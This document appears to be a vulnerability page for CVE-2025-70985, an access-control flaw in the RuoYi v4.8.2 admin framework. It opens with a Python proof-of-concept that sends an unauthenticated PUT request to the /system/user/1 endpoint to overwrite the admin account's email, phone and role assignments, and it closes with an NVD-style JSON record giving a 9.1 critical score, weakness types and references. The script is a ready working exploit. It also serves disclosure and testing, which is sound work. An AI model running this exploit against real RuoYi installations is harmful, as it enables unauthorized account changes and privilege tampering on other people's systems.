CVE-2025-70985

import requests import json # CVE-2025-70985 PoC - RuoYi v4.8.2 Incorrect Access Control # Target: RuoYi v4.8.2 update function TARGET_URL = "http://target.com" # Replace with actual target URL def exploit_cve_2025_70985(): """ Exploit for CVE-2025-70985: Incorrect access control in RuoYi v4.8.2 update function This PoC demonstrates unauthorized data modification """ # Step 1: Identify the vulnerable update endpoint # Common endpoints in RuoYi: /system/user/{id}, /system/role/{id}, /system/dept/{id} # Step 2: Craft malicious request to update arbitrary data endpoint = f"{TARGET_URL}/system/user/1" # Malicious payload - modify admin user data without authorization payload = { "userId": 1, "userName": "admin", "email": "[email protected]", "phonenumber": "1234567890", "roleIds": [1, 2], "status": "0" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Step 3: Send unauthorized update request try: response = requests.put(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully exploited CVE-2025-70985") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_cve_2025_70985()

{"cve": {"id": "CVE-2025-70985", "sourceIdentifier": "[email protected]", "published": "2026-01-23T19:15:53.907", "lastModified": "2026-01-30T21:27:40.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the update function of RuoYi v4.8.2 allows unauthorized attackers to arbitrarily modify data outside of their scope."}, {"lang": "es", "value": "Control de acceso incorrecto en la función de actualización de RuoYi v4.8.2 permite a atacantes no autorizados modificar datos arbitrariamente fuera de su alcance."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.1:*:*:*:*:*:*:*", "matchCriteriaId": "66B50E9E-F41D-4BDA-9079-3A1AC60C83F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.2:*:*:*:*:*:*:*", "matchCriteriaId": "B03431D9-8914-458B-AD1F-83585A26FA22"}]}]}], "references": [{"url": "https://gist.github.com/old6ma/1a2dada02656ba9a4730c85f6c765f4f", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/y_project/RuoYi", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/y_project/RuoYi/issues/IDIDK2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/yangzongzhuan/RuoYi", "source": "[email protected]", "tags": ["Product"]}]}}